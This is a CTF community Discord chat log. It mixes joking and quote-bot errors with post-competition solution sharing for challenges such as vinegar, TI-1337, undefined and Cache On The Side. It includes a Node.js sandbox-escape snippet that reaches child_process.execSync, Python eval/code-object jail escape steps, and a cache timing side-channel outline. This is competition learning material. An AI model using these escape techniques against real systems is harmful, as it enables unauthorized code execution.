#misc

1 messages Β· Page 3 of 1

rapid rivet
#

I'm moral support

stable wind
#

coool

sinful jolt
fossil rampart
#

aplet is not moral support

#

aplet solves many challenges

rapid rivet
#

wow defund doesn't even feel morally supported by me

stable wind
#

just be DRS and crush everyone's dreams with taxes

rapid rivet
#

πŸ˜”

normal plover
#

i'm moral unsupport πŸ™‚

stable wind
normal plover
#

and support ticket closer

stable wind
sinful jolt
#

player opens ticket, jyu immediately closes

#

πŸ…±οΈased

normal plover
#

Thank you for your ticket. If there is nothing further, please use /close to close this ticket. Goodbye and good luck!

stable wind
#

ack im only 200 qubits of stuff away ahhhh

rapid rivet
#

not hosting dicectf

stable wind
rapid rivet
#

but I guess I did playtest breach

stable wind
stable wind
sinful jolt
rapid rivet
#

@lean wasp I believe you have some enforcement

stable wind
#

ack wat

rapid rivet
#

!q 939595934914969631

silent orchidBOT
#

🚫 Failed to parse the message param: Found the channel, but not the message. Did it get removed or is it in a channel I can't read messages from?
πŸ”§ Command usage: ![quote|q] <message>

rapid rivet
#

fasdfasdf

stable wind
#

My team is going to kill me after this

rapid rivet
#

!q 805962849872117781 939595934914969631

silent orchidBOT
#

🚫 Failed to parse the message param: `Λ‹I'm sorry but I have no clue where you want me to go look for a message with that info. Please try again by providing me the info in one of the following formats:

  • <jumplink> (can be acquired by clicking 'Copy Message Link' in the right click menu of a message),
  • <messageid> (only works if that server has edit logs enabled) or
  • <messageid>-<channelid> (can be acquired by holding shift when clicking 'copy id' on the message menu)Λ‹πŸ”§ Command usage:![quote|q] <message>`
rapid rivet
#

asdfhiuasdfjoisdajfasdiofjasoifjas

stable wind
#

Since I didnt get any crypto

rapid rivet
#

!q 939595934914969631-805962849872117781

silent orchidBOT
#

🚫 Failed to parse the message param: The specified channel doesn't exist, you either gave me an invalid channel ID or it was deleted.
πŸ”§ Command usage: ![quote|q] <message>

rapid rivet
#

...

stable wind
#

lmaoo

rapid rivet
#

barge is actually trolling me

stable wind
#

!q 767776595099385876 hi

silent orchidBOT
#

🚫 Failed to parse the message param: `Λ‹I'm sorry but I have no clue where you want me to go look for a message with that info. Please try again by providing me the info in one of the following formats:

  • <jumplink> (can be acquired by clicking 'Copy Message Link' in the right click menu of a message),
  • <messageid> (only works if that server has edit logs enabled) or
  • <messageid>-<channelid> (can be acquired by holding shift when clicking 'copy id' on the message menu)Λ‹πŸ”§ Command usage:![quote|q] <message>`
stable wind
#

!q hi

silent orchidBOT
#

🚫 Failed to parse the message param: `Λ‹I'm sorry but I have no clue where you want me to go look for a message with that info. Please try again by providing me the info in one of the following formats:

  • <jumplink> (can be acquired by clicking 'Copy Message Link' in the right click menu of a message),
  • <messageid> (only works if that server has edit logs enabled) or
  • <messageid>-<channelid> (can be acquired by holding shift when clicking 'copy id' on the message menu)Λ‹πŸ”§ Command usage:![quote|q] <message>`
normal plover
#

what are you even trying to quote lmao

stable wind
#

I feel like I should be only a few qubits away but I didnt set up any prints in my qasm so idk

#

sadge

rapid rivet
#

why does barge just not know the misc channel exists

#

!q 939593858226982942

silent orchidBOT
#
Quasar

Ireland with pschyological fear, ik how to optimize the code but then ireland prob made it so you cant

​

[Jump to message](#rev message)

Sent in #rev | Quote requested by Aplet123#9551 | 939593858226982942 Β·
rapid rivet
#

it knows the rev channel exists

#

why does it not know the misc channel exists???

stable wind
#

!q 805962849872117781-939596708801835018

silent orchidBOT
#
Aplet123

why does barge just not know the misc channel exists

​

[Jump to message](#misc message)

Sent in #misc | Quote requested by Quasar#0147 | 939596708801835018 Β·
stable wind
#

Wat

rapid rivet
#

wtf

stable wind
#

it knows

#

Maybe the bot cant read deleted stuff

#

one sec

#

!q 805962849872117781-939596945440243712

silent orchidBOT
#

🚫 Failed to parse the message param: Found the channel, but not the message. Did it get removed or is it in a channel I can't read messages from?
πŸ”§ Command usage: ![quote|q] <message>

normal plover
#

lmao

stable wind
#

"Did it get removed"

#

I believe so

rapid rivet
#

ok whatever I'm pretty sure barge has message logs of deleted messages that it can quote from

#

!q 939596027432935504

silent orchidBOT
rapid rivet
#

good enough

stable wind
#

Wat how

#

!q 939596027432935504

silent orchidBOT
#

🚫 You don't have permission to read that message.

stable wind
#

lmao

#

oh

#

Well I gtg to some quantum

#

Ireland is prob like 300 years ahead of our time

wanton spruce
#

an admin for sober-bishop?

reef eagle
wraith coral
#

cant wait for my chal to get cheesed

#

πŸ™

feral brook
#

i'm a python noob XD

echo spoke
#

what's the intended solution of Vinegar?

#

guess each character by comparing error message?

feral ravine
#

Stack massaging to get a dcode object on the stack

#

overwrite gift.code with gift

echo spoke
feral ravine
#

Lol, yeah

#

Too tired πŸ˜‚

#

Some manual work trying to get errors messages etc to leak everything

dusk thicket
shut plaza
#

working backwards seems easiest, by setting up the pickle stack in a certain way you can bring down most character options to one or two

#

for example, the 6th character from the back leaks the last 4 characters of the flag in the form of an error message

manic sundial
#

Interested to see if anyone found a smarter solution for Sober Bishop? Mine takes about 30 seconds to run on 4 cores

echo spoke
manic sundial
#

My solution was to explore each position from the start and backtrack if a point was visited too many times

#

Sped up by preloading dice{ ofc

spice vapor
#

about vinegar:

semd(b"U" + pos + "\n")
# result near the end: Memo value not found at index 959525424
# memo happens with j (which then has 4 bytes of index => 959525424 == 0219
# Congratulations, you just leaked the last 5 bytes of the flag: j0219
echo spoke
#

is using stacktrace the intended way to get arguments on undefined?

gaunt pike
#

undefined is in the author writeups

echo spoke
obsidian anvil
grave laurel
#

What's the full flag for vinegar? I got to about here-ish before going insane

#   12345678901234567890
# \ndice{buh2Pdj0219__}
#        ..?.??.....??}
spice vapor
manic sundial
#

Ah, that's pretty interesting. Nice one

grave laurel
#

ouch, I thought there were more chars 😦

feral fjord
#

once you got that "truncated" error you would know that you're out of chars

feral brook
#

so any wp of vinegar and TI-1337 Silver Edition

atomic grove
#

@lean wasp

feral ravine
#

vinegar, figure it out from the error messages you get if you try to use the flag as unpickling instructions (and data)

#

TI-1337:

  • functions builds are stripped not illegal, so you can get a code object with some stack massaging c = (lambda x: eval(x), lambda x: eval(x))[0]
  • You could call gift through CALL_METHOD: gift.f = gift; gift.f(gift, "__code__", c)
  • then gift still refers to the proper builtins, so you get full regular code exec in that eval
rapid rivet
#

but eventually I realized that

#

v8 stacktrace api is basically a more annoying version of arguments.callee.caller

#

I haven't found a use case for stacktrace api beyond that

#

maybe you could use it to leak code length in an eval? idk kinda contrived and you could probably just parse the error message anyway

rapid rivet
worldly cypress
#

any wp for Cache On The Side?

whole fjord
# worldly cypress any wp for Cache On The Side?

The solution boils down to this: allocate aligned map chunk in the same way as victim.c and measure timings for memory accesses for different values of c - one that is slower corresponds to the flag's character (Reducing WAYS_MAX to 8 helps) . This way allows to recover lower 6 bits of each character, because Skylake L1 cache has 64 associativity sets. Now there're up to two meaningful possible values for each, so you can make an educated guess about what the flag is:

dice{31$%-#(!./V3,3_702+_2_73,1}
dice{s1de-chan/V3ls_w0rk_2_w3l1}```
worldly cypress
#

seems like a prime+probe attack? Is exploit source code available?

#

I tried writing one,but didn't work😒

echo spoke
# 
try {
    null.f()
} catch (e) {
    TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
    const oldStackTrace = Error.prepareStackTrace
    try {
        Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
        Error.captureStackTrace(this)
        this.stack
    } finally {
        Error.prepareStackTrace = oldStackTrace
    }
}
function trigger() {
    const err = new CustomError()
    console.log(err.stack[0])
    for (const x of err.stack) {
        const fn = x.getFunction()
        console.log(String(fn).slice(0, 200))
        console.log(fn?.arguments)
        console.log('='.repeat(40))
        if ((args = fn?.arguments)?.length > 0) {
            req = args[1]
            console.log(req('child_process').execSync('id').toString())
        }
    }
}
trigger()
whole fjord
worldly cypress
#

Thanks

silver urchin
silver urchin
# 
L2_TOTAL_LINES: 16384     L2_SIZE / (bytes/line=64)
L2_TOTAL_SETS: 1024       i.e. # of indexes. L2_TOTAL_LINES / (associativity=16)```
whole fjord
cerulean salmon
#

Curious to know why nobody else solved 5dfs. Were people just put off by go lol?

cerulean salmon
#

I thought the challenge was actually quite cool, even if a typo made it very easy to exploit

rapid rivet
#

🀑

wraith coral
#

πŸ˜”

little sundial
tame bolt
#

Which tool or script was used to automate the solving process of slime bishop

manic sundial
#

There's no tool afaik, it's just about implementing an algorithm that can find the flag

silver urchin
#

(It also might be slightly overkill, the exact form of the challenge morphed as I was writing it so some optimizations I made may no longer matter. But I think I removed most of that weirdness already)

quiet tundra
#

For undefined I had a way to reach the node TTY class (via console._stdout somewhere), and some other classes from builtin node modules, was thinking for a while if there's anything that can be exploited to read files... didn't work out, but there might be potential for another CTF challenge in that

stable wind
#

Next year TI-1337 Color Edition?

normal plover
#

πŸ™ˆ πŸ™‰ πŸ™Š

stable wind
#

noleek ?

#

catpopcorn well it was fun watching the suffering/fun collection of zero days proving dice is better than pb

lean wasp
#

i am starting to struggle with names

normal plover
#

TI-73 Explorer

stable wind
#

Hmm maybe its time for the TI 74 series

pliant oyster
#

TI-77135 lemonthink

feral brook
rapid rivet
#

@lean wasp time for the ti-31337 series